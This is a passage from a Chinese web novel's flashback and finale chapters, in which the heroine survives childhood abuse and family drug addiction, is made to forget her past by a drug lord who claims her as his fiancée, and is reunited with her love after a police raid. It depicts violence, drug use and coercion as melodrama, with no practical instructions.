透过被踹开的门缝,林宴看到了那把锁还有堵着门的桌子。林宴的那张脸一下子变得暴怒狰狞起来。 林遥这个贱人!居然敢帮着外人防着自己弟弟!赔钱货!白眼狼!! “砰!” 门被彻底撞开,林宴一脚踹翻书桌冲了进去。姜梨伸出背在身后的手,毫不犹豫的一刀刺在了林宴伸过来的手臂上。 “啊!” 锋利的刀刃划破了皮肤,一瞬间鲜血淋漓。 林宴双目猩红的瞪着她,也不管自己在流血的手臂,将她手里握着刀夺过来扔到了一边,然后把她扑倒在了地上。 “救命啊!!” “救命!!” 楼上听到动静的江野脸色一变,直接从阳台上翻到了姜梨家,她家的窗户没有锁。 看清卧室里的情形,江野全身的血液都开始倒流,怒气像洪水一般直涌大脑冲断了脑神经。 他随手抄起茶几上的烟灰缸就朝着林宴的后脑砸了上去,发出“咚”的一声闷响。 揪住林宴的后领将他从姜梨身上掀开,发了狠的把他往死里揍。 烟灰缸砸下去的时候林宴就已经是半昏迷状态了,压根儿连还手的余地都没有,很快就彻底晕死了过去。 血不断从他口鼻里涌出来,后脑勺更是流了一大摊。 姜梨缓过劲来从地上爬了起来,一把抱住了江野的胳膊,“阿野哥哥!他要是死了,你会坐牢的!” “别打了……” 江野的动作僵住,失去的理智渐渐回笼。 他松开林宴,脱掉自己的外套盖在了姜梨身上,然后报警,打120。 林遥满身狼狈赶来的时候警车和救护车已经走了,事情的经过是在邻居口里听说的。 她又马不停蹄的往医院赶。 得知林宴还在抢救,她先去看了姜梨。 两名警察在陪同她验伤。 江野来的及时,她没有受到实质性的伤害。衣服被扯破了,脖子被抓了几道印子。 就是受到了不小的惊吓。 看到林遥的一瞬间,姜梨才开始崩溃大哭。 “没事了,没事了。”林遥心里一痛,鼻子发酸,抱着她轻轻拍着她的背。 林宴的后脑勺又缝了好几针,多处软组织挫伤,鼻梁骨断裂,下颌骨骨折,脑震荡。 已经被判定为二级轻伤。 警局。 姜梨将事件的所有经过叙述了一遍,是林宴企图对她不轨,在林宴的指甲里提取到了姜梨的皮肤组织,证实她脖子上的抓痕都来自于林宴,而且在她的身上和皮肤表面也提取到了林宴的多枚指纹。 江野和姜梨的行为属于正当防卫。 但是如果林宴提起民事诉讼,江野依旧要负民事责任,要赔偿他医药费以及精神损失费。 陆七最后找了陆璟帮忙,替江野赔了钱。 林宴未满16周岁本来不用承担任何责任,但是陆璟动用了一些权利,最后他被关进了少管所。 出了这种事,林母对姜梨的态度装都不愿意装了,恶毒后妈的作派直接摆到了明面上。 对姜梨非打即骂。 因为姜梨跟楚云长得像,姜铭生认定是姜梨蓄意勾引。尤其知道她和江野有牵扯就更着急上火了,非但没有站在她这边,反而助纣为虐帮着林母给她脸色看。 林遥看到的时候会扑上去帮姜梨挡,最后就是两个人都无法幸免于难。 从警局出来以后姜梨没再看到江野。林宴的事解决时候他突然变得很忙,一连两个多月都没回过家。 姜梨开始有了记日记的习惯,尽管已经两个月没见面,江野在她日记里出现的频率也高达百分之八十。 再次失眠的时候她想的不再是楚云,也不是杳无音讯的哥哥,满脑子都是江野。 想他,想见他。 哪怕就是遥遥一眼。 就这样,在六月的初夏里,姜梨再次看到了江野。 第229章 回忆篇3:我们永远都不分开 1。 姜梨周五放学早,上楼的时候遇到了江野。 姜梨看着他,感觉他好像又长高了,五官也更加深邃立体。他的脖子上还有了一点凸起,明明之前还没有的。 江野手里拎着一袋垃圾,脸上挂了彩,穿着黑白配色的校服外套。眼眸幽深、阴鸷。 “哥哥……”姜梨刚出声喊他,江野冷瞥了她一眼,然后直接越过她下楼走了,冷淡的好像根本不认识她一样。 姜梨没敢再喊他,在原地站了一会儿就回家了。 她撕下来一张便利贴画了一个颜表情,然后抓了几颗糖放进了药袋子里。 趴在门边等了二十分钟,江野经过的时候直接把药塞进了他的手里。生怕他拒绝,她话都没说就迅速关上了门。 林遥回家的时候手里就拎着姜梨塞给江野的药,姜梨看到眼睛暗了下去。 他没要。 “我已经吃过了。”姜梨对林遥说:“厨房里有面,刚煮好的还没坨。” “嗯。”林遥放下书包进了厨房,是一碗清汤面,加了两个荷包蛋,很香。 趁着林遥在洗碗的功夫姜梨把桌上那袋药给拎走了,她翻了几下,发现便签和糖不见了。 愣了半天,反应过来以后眼睛弯了弯。 睡觉的时候林遥隔着门对她说:“明天开始别弄饭了,你连灶台都够不着被烫到就不好了。去外面吃,不用等我。” 林遥说完从门缝里塞进去两张红票子。 姜梨下床,把那两张毛爷爷小心翼翼的放进了柜子抽屉,然后上锁。 林遥中考结束以后在一家饭店找到了一份兼职。姜梨也放了暑假,担心她一个人在家不太安全,林遥跟老板沟通之后把姜梨也带上了。 除了午饭和晚饭,姜梨一天都坐在店里的角落里看书写作业,林遥忙不过来的时候她会帮忙搭把手。 中午烈日炎炎,天空一碧如洗。 宋折和江野脱掉手套和扳手,去同街的饭店吃饭,也是林遥打工的地方。 陆七今天请假了没来,宋折帮他顶了班。 推开玻璃门,空调的冷风凉悠悠的,头晕脑胀的感觉一下子消散了不少。 这个点人很多,宋折和江野坐到了靠门的空位点了两份炒饭。 宋折看到江野手臂上有两个细小的针孔,问了一句:“你生病了?什么医院抽血在这儿抽?” 江野眼神一暗,沉默着没回答他的问题。 店里人多,林遥忙不过来,姜梨就帮她上菜。 端着托盘放到了宋折和江野的桌子上,麻木的说了一句:“用餐愉快。” 江野身体一顿,抬头朝她看了过去。 宋折也认出她了,下意识脱口而出:“咦?小公主?” “这里收童工?” 姜梨记得宋折,之前在诊所的时候看到过。 他们认识吗?小公主是叫她? 看了一下周围没有别人,姜梨小声答:“我姐在这兼职,我不是童工。” 宋折了然,还想说什么的时候江野瞥了他一眼,“赶紧吃,吃完还得去忙。” 就是故意不理她。 姜梨撇了撇嘴,拿着托盘要走的时候停了一下,抬脚踢了一下江野的小腿。 江野低头看了眼黑色的工装裤上多出来的灰白色的鞋印,脾气还挺大。 姜梨坐回角落的位置,拿起笔在草稿纸上写了满满一页江野的“坏话”。 “你干嘛呢?” 林遥的声音突然从身后冒出来,吓得姜梨立马用胳膊遮住那页草稿纸,有些心虚:“没有。” “……”林遥也不戳穿她,“东西收好,带你去吃饭。” “哦。”姜梨把试卷和书本都收起来堆在了一边,那张草稿纸被她撕下来捏成了一团扔进了门口的垃圾桶里。 2。 姜铭生在七月底的时候回来了。 林遥和姜梨刚到家,满屋子都弥漫着一股奇怪的味道。林遥打开灯,就看到姜铭生像一具死尸躺在沙发上,地上散落着几张烧过的锡箔纸,还有撒出来的白色粉末。 林遥的眼皮重重的跳了一下,立马让姜梨捂住口鼻。 突然亮起的灯光让姜铭生醒了过来。 看到林遥和姜梨的一瞬间姜铭生的眼神骤然变得狠厉起来,他一把抓住两人的胳膊,对着两个人就是一顿拳打脚踢。 嘴里骂的却是楚云和林母。 事后姜梨和林遥才知道,楚云给了林母五十万块钱让她嫁给姜铭生让他染上毒瘾,就连之前林宴对姜梨的所作所为也是楚云的手笔。 林母现在已经跑了,姜铭生染上了毒瘾。 他去找过楚云,结果吃了一个闭门羹。沈氏吞并姜氏后更上了一层楼,甚至还压了司氏一头成了北城的龙头公司。 楚云想要碾死他就跟碾蝼蚁一般简单。 姜铭生把所有的不甘和愤恨都发泄在了姜梨和林遥的身上。林遥一直把姜梨护在身下,她伤得很重,背上被打的皮开肉绽。 饭馆的兼职不能再去,中考成绩下来以后是姜梨替她去学校拿的录取通知书,她以全校第一的名次直升到了江城中学的高中部。 姜铭生的毒瘾越来越严重,他已经没有钱买毒品了。得不到有效缓解的时候就会变得暴怒无常,逮着姜梨和林遥就是一顿毒打。 这一天姜梨突然遇到了半年未见的韩聿泽。 他带了一串糖葫芦,在她书包里放了足足1000克的毒品。 “他以后再打你就给他一小袋。”韩聿泽拍了拍她的书包,“六叔明天就要出国了,以后都不会再回来了。小阿愿帮过我,这是我的回礼。” 姜梨没再拒绝,“六叔一路顺风。” 她和林遥要活命。 姜铭生再发毒瘾的时候,姜梨按照韩聿泽说的给了他一袋白粉,她和林遥才逃过一劫。 林遥把她拽进房间,在她书包里搜出来一堆白粉的时候她被吓到了,“你哪来的那种东西?” 姜梨反问:“重要吗?” “我一没偷二没抢,我也没吸,只要能活命你管它哪来的。” 她不愿意说,林遥也没有再问下去。 姜梨说的是对的,活命最重要。 3。 姜梨放学回到家的时候发现门没锁,她看到玄关处放着一双皮鞋,还有一双恨天高。 一开始姜梨还以为是楚云,因为楚云喜欢穿恨天高。 直到她听到了“啊”的一声,声音千娇百媚,但是并不是楚云。也不是已经跑了的林母,是一个完全陌生的女人的声音。 姜梨顺着声源来到了姜铭生的卧室。 门没有关,能清晰的看到床上两具白花花的身体交叠在一起。地上除了衣物还有烧焦的锡箔纸,整个房间弥漫着一股浓烈的酸臭味。 她知道那是毒品燃烧过的气味。 姜梨立马捂住口鼻往外跑,在楼道里坐到了晚上九点,林遥放学回来了。 “蚊子那么多你在这坐着干嘛?” “我爸和一个陌生的女的在上床,两个人都吸毒。”姜梨抱着膝盖缩成一团,声音有些闷,“姐,我们报警吧。” 吸毒本来就是违法的,韩聿泽给她的那些已经没剩多少了。 林遥坐到了她身边,“他要是被抓了,法律会强制要求你妈抚养你。姜铭生吸毒是你妈害的,她明摆着就是要毁了你。” “姜铭生还不能进局子,起码现在不行。” 林遥伸出手揽住她,“别怕,等我以后考上了大学就带你走。” 当天晚上姜铭生就指着那个女人说是她后妈。 那个女人非常漂亮,烫着一头大波浪卷发,很是明艳动人,尤其是那双丹凤眼,异常勾人。 姜梨总是觉得眼熟,好像在哪里见过。 “我叫韩伊,你们两个以后可以叫我韩阿姨。”韩伊摸出两个红包递给姜梨和林遥,声音还挺温柔,“当然叫妈妈会更好。” 韩伊?姜梨的右眼皮跳了一下,江野的妈妈就叫这个名字。 林遥和姜梨都没收她的红包。 “我还有个儿子叫江野,以后他就是你们的哥哥了。”韩伊直接将红包放到了桌子上,依旧笑盈盈的,“他就住在楼上,你们应该见过。” 说完她意味深长的看向姜梨,“尤其是小梨。你跟你爸在这住了这么久,跟江野应该很相熟了。” 姜梨的睫毛颤了一下,低着头不说话。 韩伊和姜铭生在一起了,成了全楼的谈资。 早上她和林遥一起出门上学的时候遇到了江野。以前能脱口而出的哥哥此刻卡在喉咙里怎么都喊不出来。 两个人都没说话。 直到有一天姜梨看到江野和一个女生走在一起,亲呢又熟稔。 因为穿的是一个学校的校服,姜梨没忍住问了林遥:“那个隔壁楼新搬来的女生是你们的同学吗?” “她是其他班的,听说是江野的女朋友,叫时鸢。” 女朋友………姜梨眼睛有些酸。 林遥说完语气严肃了一些,“你现在四年级,不准跟男生来往,连话都不要跟他们讲你听到没有?” 不是她专制,实在是姜梨长得很漂亮,西巷又这么乱,很容易就被缠上。 姜梨“哦”了一声。 林遥的担心完全是多余。在学校里别说是男生了,就连女生都没人搭理她。 夜里十二点姜梨爬了起来,她轻手轻脚的出了门,上楼站在了江野家门口敲了门。 江野知道是她,大半夜的来敲门他以为她是有什么事就开门了。 谁知道就听到姜梨蹦出来一句:“你早恋了吗?跟隔壁新搬过来的那个叫时鸢的女生。” “………”江野好几分钟才想起来时鸢是谁。 前几天下班路上遇到的那个被家暴的女生,他和陆七帮忙报了警,然后没几天那姑娘就搬到这边了,说要报答他。 也不知道她从哪听来的这么离谱的事? “昂,但是不是她。” 姜梨的手捏成了拳头,“在港城的时候我说过,等我长到了当你的新娘,你答应了。” 答应的事情怎么能反悔?他怎么能早恋? “嗯?还有这回事吗?”江野笑了一声,“不过是一时兴起哄小孩的话而已,我早就已经忘记了。” 轻飘飘的话像利剑直戳姜梨的肺管子,疼得她喘不过气。 “我妈和你爸现在还躺在床上睡觉呢,你大半夜跑来跟我讲这种话,你闲的没事干了吗?”江野眼皮一敛,脸上的笑消失的一干二净,“滚回去!” 然后“砰”的一声关上了门。 姜梨回去之后把那一本关于江野的日记锁了起来,她再也没有去找过他。 4。 姜铭生和韩伊的毒瘾发作越来越频繁,那1000克的面粉很快就见了底。 韩伊运气不好,聚众吸毒的时候被警察抓了。姜铭生没有钱去保她,江野也不管,她现在被拘留还没出来。 没了韩伊,姜梨也拿不出东西来,姜铭生忍受不了,听了楚云的鬼话给林遥注射了毒品。 她染上了毒瘾姜梨不会不管,就是去偷去抢她也会想办法弄到东西给林遥解毒。 起初林遥还能忍受,但是最后还是跟姜铭生预想的一样,她成瘾了。 姜梨没有办法只能到处去找渠道,最后在一个年轻男人那里低价买到了1000克的粉。 她只是一个十岁的孩子,家里的积蓄都败光了,低价也不是不要钱,很快姜梨也没有钱再去买粉。 姜铭生把主意打到了江野身上。 他双手搭着姜梨的肩膀,“阿梨,你可以不管我,但是你不会不管林遥的对不对?” “韩伊说她以前毒瘾犯了是江野解的,他也有钱,你去跟他要。你只要骗他说你染上了瘾他不会不管你的,那林遥也不用干么难受了。” 姜梨不愿意去,姜铭生气得打了她一顿。 “你不去我就让你也尝尝被毒瘾折磨的感觉!到时候我看你去不去!” 说着他就要给姜梨注射,家里的门这时被人一脚踹开,江野抱着姜铭生扭打在了一起。 两个人从三楼摔了下去。 姜铭生是后脑勺着地,连抢救室都没来得及进去就咽了气。 直到这时姜梨才知道江野早在姜铭生之前就已经被韩伊害的染上了毒品,所以他才突然不愿意搭理自己,开始恶言相向。 江野提供了线索,西巷的毒窝被端了。 来的缉毒警里有姜梨的亲哥哥,姜祈安。 林遥和江野被送去了戒毒所,姜梨在医院住院的时候割腕了,被救了回来。 她的精神状态越来越糟,跟洛骞商议之后决定给她做催眠,让她忘掉从前的一切。 姜梨不愿意跟姜祈安和洛骞去国,不愿意做这个治疗。她不想、也不要忘掉江野和林遥。 姜祈安没有办法,把江野从戒毒所里带到了医院。 江野说了很多,他说话的语气很平淡像静静流淌的小溪。 但是他哭了。 “阿愿,太痛苦的话忘了我也没关系。” “我们一定会再相遇。” 他说:“到那个时候如果你还愿意当我的新娘,我会八台大轿、凤冠霞帔娶你,我们永远都不分开。” 第230章 大结局·前篇 梦境开始坍塌,姜梨的身体不断往下坠,强烈的失重感让她猛地睁开了眼睛,映入眼帘的是吊着水晶灯天花板。 她大口大口喘着粗气,冷汗打湿了额前的碎发。 零碎的记忆碎片拼凑成了完整的画面。 脑子里缺失的那片空白被填满。 姜梨久久不能回神,眼泪滴滴答答流个不停,怎么都止不住。 韩聿泽擦掉她的眼泪。 “我全部都想起来了。”姜梨突然出声:“当初在韩家愿意帮你是我的本能反应,不管那天的人是谁我都会帮。你知道我那天为什么会在韩家吗?我是去找江淮之的,误打误撞走错了路恰好帮了你而已。” “早在你之前我就认识了江淮之,早在认识你之前我就跟我哥说了我长大了要嫁给他。” 太久没有发声她的喉咙很哑,一字一句非常清晰,也异常刺耳。 韩聿泽心脏的绞痛感还没有过去就又听到她说:“你之前来江城我会跟你说话是因为你是韩家人,我怕你是来找江淮之的,怕你会对他不利。如果不是他,我根本就没有想要理你。” “你以为我哥为什么选江淮之?”姜梨突然笑了,“他能为了我去跟司家争,能为了我放下仇恨把司氏推到最高处。为了能给我最尊贵体面的身份甘愿入嗣到韩三爷名下去当他的儿子,这样我嫁给他就是韩家大少爷的妻子,有了这个身份谁敢跟我放肆?” “江野配不上姜梨,江淮之护不了姜时愿。只有韩野才配得上姜时愿,也只有韩野能护得了姜时愿。” “他一步一步爬到最高处只是想给我最好的一切。而你连最基本的光明磊落都做不到,凭什么让我哥选你?” 姜梨掀开被子坐了起来,“你杀了我哥杀了沈翊和楚卿然,害得叶辞到现在都没能醒过来,还害死了阿南姐。我的至亲至爱和挚友一个个都死在你手里,你居然还有脸说你爱我?” 她昏睡了两天,韩聿泽守了她两天,也听她说了两天的梦话。 句句都是江淮之。 醒来之后说出来的话更是难听至极。 韩聿泽被戳到了痛点,一把掐住了她的脖子,像一头锁定了猎物露出利爪的老虎。 最脆弱的颈动脉就被他压在手下,姜梨毫不畏惧的盯着他的眼睛,继续说:“你虚伪、你自私,你恶……唔!” 嘴唇被吻住,姜梨的瞳孔猛缩了一下,然后开始剧烈挣扎。 韩聿泽呼吸急促,双眼猩红,单手捏住她不断拍打的两只手,想要继续深入。 姜梨眉头紧锁,张嘴狠狠咬了他一口。 嘴唇被咬出了血,韩聿泽吃痛松开她,下一秒—— 啪! 清脆的巴掌声格外响亮,韩聿泽的脸被打偏过去,白皙的皮肤渐渐映上了一层红印。 这一巴掌姜梨是用了全身的力气打过去的,她的手掌都被震的发麻。 “我这一辈子最后悔的事情就是那天在韩家扶了你!” 如果她没有扶他就不会跟他有交集,她身边的人也都不会死。 韩聿泽舔了一下唇瓣的血渍,拽住姜梨的手腕将她拉下了床。 姜梨以为他又想带她去半醒逼她折磨谢鹤扬和司南衍,脸色剧变,“我不跟你出去,你放开我!”韩聿泽直接把她扛去了书房。 门关上,把她放到沙发上。 韩聿泽从书桌上拿出两张a4纸递给她,“这是韩野的药检结果,你好好看清楚。” 姜梨接过来看了一眼,瞬间僵在了原地,捏着纸张的手指都在颤抖。 “白纸黑字清清楚楚,冰毒和海洛因都呈阳性。你现在还觉得他光明磊落、堂堂正正吗?” 密密麻麻的文字在她眼前逐渐扭曲,眼里蒙上了一层朦胧的水汽,视线模糊不清。姜梨不断摇头,“这是假的,你在骗我……” 她把纸撕成了碎片,洋洋洒洒落了一地。 “你还在骗我!” “阿愿,这是从洛骞那里拿到的报告,上面有他的亲笔签名,他最近一直在帮韩野戒毒但是效果不好。”韩聿泽看着地上的碎片,扯了扯嘴角,“韩野私自买了一大批的货。” “早在十一年前在江城的时候他就是瘾君子,现在他碰毒又有什么好奇怪的?你要是不相信我这里还有很多的证据,都能证明韩野复吸是事实。” 江淮之绝对不是主动去碰毒的。 是韩聿泽。 姜梨从沙发底下摸出她藏着的刀,快准狠的朝着韩聿泽刺了过去。怒意吞噬她的理智,满脑子只有一个想法:将眼前的这个男人碎尸万段。 她又要因为别的男人来杀他。 韩聿泽眼皮一敛,轻松捏住她的手腕,另一只手劈在了她的脖颈将她打晕。 ——— 祈愿酒吧。 韩聿泽懒散的坐在沙发上,食指搅动着酒杯里的冰块。 “我还以为洛医生不会见我。”他嘴边噙着一抹笑,抬眸看着对面的蓝眸男人。 “司四少说要跟我谈的事情跟姜梨有关。”洛骞双腿交叠,表情泛冷,“姜梨她哥是我的救命恩人,她本人也是我的病人。哪怕是她现在跟了你,于情于理我都不会不管她。” 韩聿泽闻言眼睛弯了弯,直接开门见山:“再帮她做一次催眠。” 洛骞身体一顿,“你说什么?” “你以前不是帮她做过一次么?她现在想起来了天天寻死觅活,精神状态已经濒临崩溃。”韩聿泽直起身体,“我想让你再让她忘记一次。” “我要评估过才知道她能不能……” “洛医生,我已经咨询过了。他们说你是最顶级的心理医生,所以我才来找你。但你不是世界上唯一的心理医生。”韩聿泽直接打断他的话,眉梢轻挑了一下,“你做还是不做?” 韩聿泽不是来跟他商量的,在他眼里姜梨根本就不需要什么评估,他就是想让她忘掉从前的一切。 他不做韩聿泽也会找别人来做。 催眠治疗过程中一旦出现意外,那都是毁灭性的伤害。 洛骞沉吟片刻,手掌握成了拳,“我可以答应你做这个治疗,前提是我要先见姜梨一面。” 韩聿泽站起身,“明天下午我会带她来见你。” 第231章 大结局2 洛骞见到姜梨的时候愣了许久。 即使韩聿泽没有跟进来,诊室里只有他们两个人姜梨也什么都不肯说。 木讷的像没有灵魂的木偶,状态和十二年前他刚见到她的时候有过之无不及。 手腕有一道浅浅的疤,是新的。 她最近一段时间吃的药洛骞也看过了,都是治疗躁郁症的。姜梨复发了,并且很严重。 韩聿泽这个混蛋到底对她做了什么? “明天能做吗?” 洛骞手背青筋鼓起,凉凉的瞥了他一眼,“催眠治疗很痛苦。” 光是记忆力减退就够难受了,彻底抹掉脑子里的记忆谈何轻松? “不做她会更痛苦。” 阿愿痛苦,天天听她睡梦中喊别的名字让他也痛苦。只要她忘掉一切,他们就能重新开始。 她的生命里就只会有他一个人,不会再有其他人。 姜梨不说话,说明她默认愿意做。 催眠治疗是在韩聿泽安排的医院里进行的,安排了另一个医生全程监控。洛骞不是他的人,他也害怕洛骞会做手脚,更怕姜梨会跟他密谋逃跑。 治疗很顺利,姜梨再醒过来的时候什么都不记得了。只认识第一眼看到的洛骞,还有把她带回家的韩聿泽。 夜里,姜梨蜷缩成一团坐在床上。 她吃了药,但是却没有多少困意。 眼皮微红,眼眶湿漉漉的泛着水汽,脸白生生的,像受惊的鹿,极其没有安全感。 韩聿泽越走越近,灯光落在他身上拉扯出一大片的影子,黑压压的落在姜梨眼前。姜梨的身体又缩得更紧了一些,警惕的看着男人,“你别过来。” “阿愿。”韩聿泽轻叹了口气,侧身坐到她的床上。 他的头发有些潮,穿着睡衣。 姜梨以为他要上她的床,更加害怕,“男女授受不亲,我不跟你睡一张床!” 声音都在颤。 “阿愿,我们是恋人,你是我的未婚妻。”韩聿泽说:“躺在一张床上睡觉很正常。” 恋人?姜梨愣住。 韩聿泽又接着说:“我们以前也是在一张床上睡觉的。” 姜梨眉毛轻轻皱了一下,然后蜷缩的动作松了松,往旁边挪了挪,给他腾出来一部分的位置,抬起头盯着他一言不发。 他也没客气,脱鞋上了床。 韩聿泽没挨着她,给她留出来安全的距离。他伸长胳膊从床头柜上拿起来提前放的安徒生童话,“躺好,给你念故事。” “哦。”姜梨躺了下去,拉过被子盖在身上,还不忘分一半给他。 卧室的灯昏黄,暖融融的光照在她身上,衬得她格外柔和恬静,没有半点儿之前冰冷的气息。 乖的不行。 韩聿泽翻了一篇卖火柴的小女孩读给她听。 他的声音很轻润,语速缓慢又温和,是一副哄人睡觉的好嗓子。姜梨紧绷的神经放松下来,没一会就被困意笼罩合上了眼皮。 隔天韩聿泽带姜梨去了中医馆。 司南赫说韩野这个时间都在那里,洛骞和宋枝都在帮他戒毒。 到的时候中医馆已经被警察给围住,几名民警则是在疏散人群。 天气并不好,灰蒙蒙的在下着小雨。 “先生,回去吗?”开车的是裴书,他今天刚被韩聿泽调回来。 中医馆这样肯定是进不去了。 韩聿泽捏着姜梨的手指,“先看看是怎么回事。” 裴书把车停在了一边,降下了车窗。 不多时,一个男人被带了出来。他戴着帽子,不想被人看清脸帽檐压的非常低,只能看到露出来的菲薄的唇和下巴。手上盖着黑布,两名警察压着他往警车上走。 姜梨看到这一幕并没有情绪波动,跟周围的群众一样,只是在吃瓜。 她扭头看向韩聿泽,问他:“这是抓到通缉犯了吗?” 韩聿泽摇头,“被抓走的人叫韩野,是北城青森的掌权人,涉嫌吸毒。” 毒?姜梨听到这个字眼眼皮跳了一下,立刻关上了车窗,然后说:“你不是也在做这方面的生意吗?不赶紧走还在这看什么?” 姜梨知道他是毒老大,韩聿泽告诉她的。 韩聿泽:“你担心的是这个?” “那我还要担心什么?”姜梨疑惑。 “没什么。”韩聿泽笑了笑,“回家吧,药膏还有一些,等明天再来看。” ——— 三天后去见了洛骞。 姜梨坐在他面前有些紧张无措,一只手紧紧抓着韩聿泽的衣角,另一只手的手指不断的敲打着桌面。 洛骞将她的动作收入眼底,顿了一下然后尽量将自己的声音放柔和,“晚上睡眠怎么样?头还痛不痛?” “有点难入睡,头不疼了。” 其他的他没有再多说什么,给姜梨开了药。 从医院里出来后韩聿泽带姜梨去了暮色,谢鹤扬和司南衍被关在这里,同样被关在这里的还有苏菱。 暮色的老板也是樱洲排的上号的人物,他和夏沉舟一样,跟韩聿泽搭在一起,干了很多违法的买卖。 苏菱在韩聿泽手里,恐怕司南赫也已经被威胁倒戈了,怪不得司南衍这个公司的大总裁消失了这么久都没人找他也没人报警。 只要司南赫这个家主随便说一个借口就可以。 谢鹤扬和司南衍被五花大绑着,并且浑身都是伤,苏菱被绑了手和脚,胶布封住了她的嘴巴,全身都很干净没有一点伤。 守在这里的是裴诗。 姜梨看都没看她一眼,只是有些害怕的抓紧了韩聿泽的袖子,“六哥为什么绑他们?” 此话一出,所有人都愣了。 韩聿泽声音平淡:“他们是警察,想要杀我我们。” “乖乖。”他把注射器递给姜梨,“把这个打进他体内。” 姜梨接过来,在所有人的注视下,面无表情的完成了注射。 “就这样吗?”她看向韩聿泽,脸上再也没有了之前的不舍和挣扎,拿针的手也不再颤抖。 扎针、推药的动作一气呵成,丝毫不拖泥带水。 超量的药物让谢鹤扬和司南衍的神经被彻底麻痹,瞳孔都开始涣散,像两具死尸倒在地上一动不动。 苏菱看着这一切,喉咙里不断的发出“呜呜”声,眼里尽是绝望。 姜梨不正常,一切都完了。 “拖下去!” 扔下这一句话,韩聿泽牵着姜梨头也不回的离开了。 接下来的半个月里姜梨跟着裴诗和裴书完成了好几个大交易,姜梨现在也能进星爵娱乐的内网,在清楚他们的关系链之后她还是被惊到了。 北城和樱洲,港城和澳城,牵扯到的企业有数十家。姜梨看到了几家非常有名的企业,比如已经倒台的楚家和纪家,还有陆氏和司氏的子公司,以及谢氏和韩氏。 韩氏是因为有韩聿泽和韩聿言在里面从中作梗,难免会被用来当作最有利的工具,在韩聿言被曝光后这条链就断了。 但是谢氏一直都在贩毒这条线上运作,而且早在二十年前就开始了。记录上有三年的空白,一直到十三年前才又有了动作。 包括四年前谋害纪家的事情,谢家和澳城地下才是罪魁祸首。 两个时间节点谢鹤枭都还只是个孩子,谢氏也不是他管…… 二十年前的韩聿泽也是个孩子。 所以能操控谢氏的只有一个人——— 谢家的老家主,也就是谢鹤枭的亲爹。 第232章 大结局3 姜梨和韩聿泽去了澳城完成了最大单的交易。 她见到了韩聿泽口中的“养父”,证实了那个一手把他栽培出来的男人就是谢鹤枭的父亲——谢宴京。 谢宴京是想要韩聿泽处理掉姜梨的,但是韩聿泽不愿意据理力争的把她保了下来。 为了打消他对姜梨的怀疑,韩聿泽才会让洛骞给她做了催眠,让她成为了第二个他。最近几次的行动都让谢宴京很满意。 他们赚的盆满钵满。 三天后的庆功宴上,姜梨亲眼见到了电视上才会上演的一幕———撒钱。 她和韩聿泽站在最顶端,而底下的所有人都在撒钱,红色的票子像下雪似的落的满场都是,脸上都是贪婪和欲望。 韩聿泽将杯中的酒一饮而尽,空杯放到一边然后单膝跪地,他手中举起一枚粉钻戒指仰头看着姜梨,对她说:“阿愿我们结婚吧。” 姜梨猛地一愣,僵在了原地。 撒钱的那些手下也都被自己老大的这一举动惊到而停了下来,寂静三秒钟后全场的人突然呐喊:“答应他!” 不知道过了多久姜梨笑了起来,桃花眼弯成一对月牙,眼中闪着细碎的光芒,好看的不可方物。 在嘈杂的起哄声中韩聿泽清晰的听到了她的声音,她说好。 韩聿泽正要把那枚粉钻戒指套在了她无名指上时,一个人慌慌张张跑了进来。 “先生不好了!运出去的一批货被人拦截,外面……外面来了好多警察!老先生已经被……被捕了!” 一瞬间众人脸色剧变,怎么会这样!? 没有给他们反应的时间,下一秒这扇大门就被人一脚踹开!一群警察齐刷刷的举着枪对准了里面的人,“不许动!!” 因为事发突然,光顾着庆功宴他们并没有带枪,所有人都只能乖乖抱头蹲下。 韩聿泽脸上却没有一丝惊慌,他将戒指放回了口袋缓缓站了起来。 这枚戒指终究还是戴不到她的手上。 “韩聿泽,你败局已定!” “是吗?”韩聿泽站在姜梨旁边,从身后摸出一把黑色的枪,枪口抵在了她的太阳穴上,然后挑衅似的看向为首的韩斯年,“放我走,不然我现在就开枪崩了她。” 姜梨在他手上,他们不敢轻举妄动,只能往两边散开给他们让了一条路。 走出大门十米远的时候韩聿泽突然转身把姜梨挡在了身后,紧接着“砰砰砰——”的枪声不断响起。 藏着的裴诗想要杀姜梨,但是韩聿泽挡了。 还朝她开了三枪。 对裴诗开枪的不只有韩聿泽,还有另外一个。 裴诗一瞬间就被打成了筛子,倒地的时候眼睛睁的很大,不可置信的看着韩聿泽的方向。 韩聿泽嘴里涌出了一大口鲜血,然后跪倒在了地上,在咽气的最后一秒,扭头看向了姜梨,看了她最后一眼。 他一直都在想。 如果做了催眠以后姜梨还是没有彻底忘记韩野的话,他就放手让她赢。 最开始他以为她真的忘了,直到来澳城的前一天晚上发现她动了他的电脑,把所有的东西都传了出去。 韩聿泽才知道她根本就没有忘记。 抵抗催眠的痛苦丝毫不逊色于全身的骨头断裂,她就是死也不会忘记韩野,就是死也不会爱上他。 她之后做的所有事情韩聿泽心里都清楚。 被关起来的谢鹤扬和司南衍还有苏菱在他们刚到澳城的时候就被救走了,地点是她用摩斯密码传给洛骞的。 包括今天的这场大戏他也早就知晓,但他闭口不谈,配合她演完了这出戏。最后把命还给她。 这场拉锯了五年的贩毒案也拉下帷幕。 韩野把枪扔给了谢铭,大步朝着姜梨走过去。他的头发很乱,脸很白,上面沾着不知道在哪里蹭到的血渍。 “哥哥………”姜梨的鼻尖泛酸,嘴唇嗫嚅着喊了一声。话音未落,就被他一把搂进了怀里。 熟悉的雪松香直钻鼻腔,姜梨的眼睛像打开了阀门的水龙头,眼泪滴滴答答落下来滴在他的风衣上。 所有的委屈在这一刻倾泻而出,抱着韩野哭得撕心裂肺。 姜梨最后是哭晕过去的。 夜里,医院的特殊楼层守了好几名警察。 韩野站在病床边看着眼睛紧闭的姜梨,他摸出那枚被“还”回来的钻戒,重新套在了她的无名指上。 俯身轻轻的亲了一下她的眼皮,在她耳边低声说了一句:“等我回来。” 然后离开。 站在门口的韩斯年给他扣上了手铐,他抿了抿嘴唇,“你确定不等她醒过来打声招呼再走?” “不了。” 做戏的时候为了逼真一点他是真的复吸了,司南赫从韩聿泽那里得到的东西他照单全收,已经有瘾了,手臂上都是针孔。 姜梨一定会看,会吓到她。 “爷爷问起来就说我出国了。”韩野对韩斯年道:“公司的事情也还得再辛苦你一段时间。” 都已经辛苦这么多年了,也不差这一会了。 韩野被押去了戒毒所。 第二天姜梨醒过来没有看到韩野。韩斯年走进来喊了她一声:“大嫂。” 然后简单的把韩野的事情说了一遍。 让韩斯年意外的是姜梨只是淡淡的嗯了一声,出乎意料的淡定。 这样的淡定维持到了洛骞和时樾进来的那一刻。 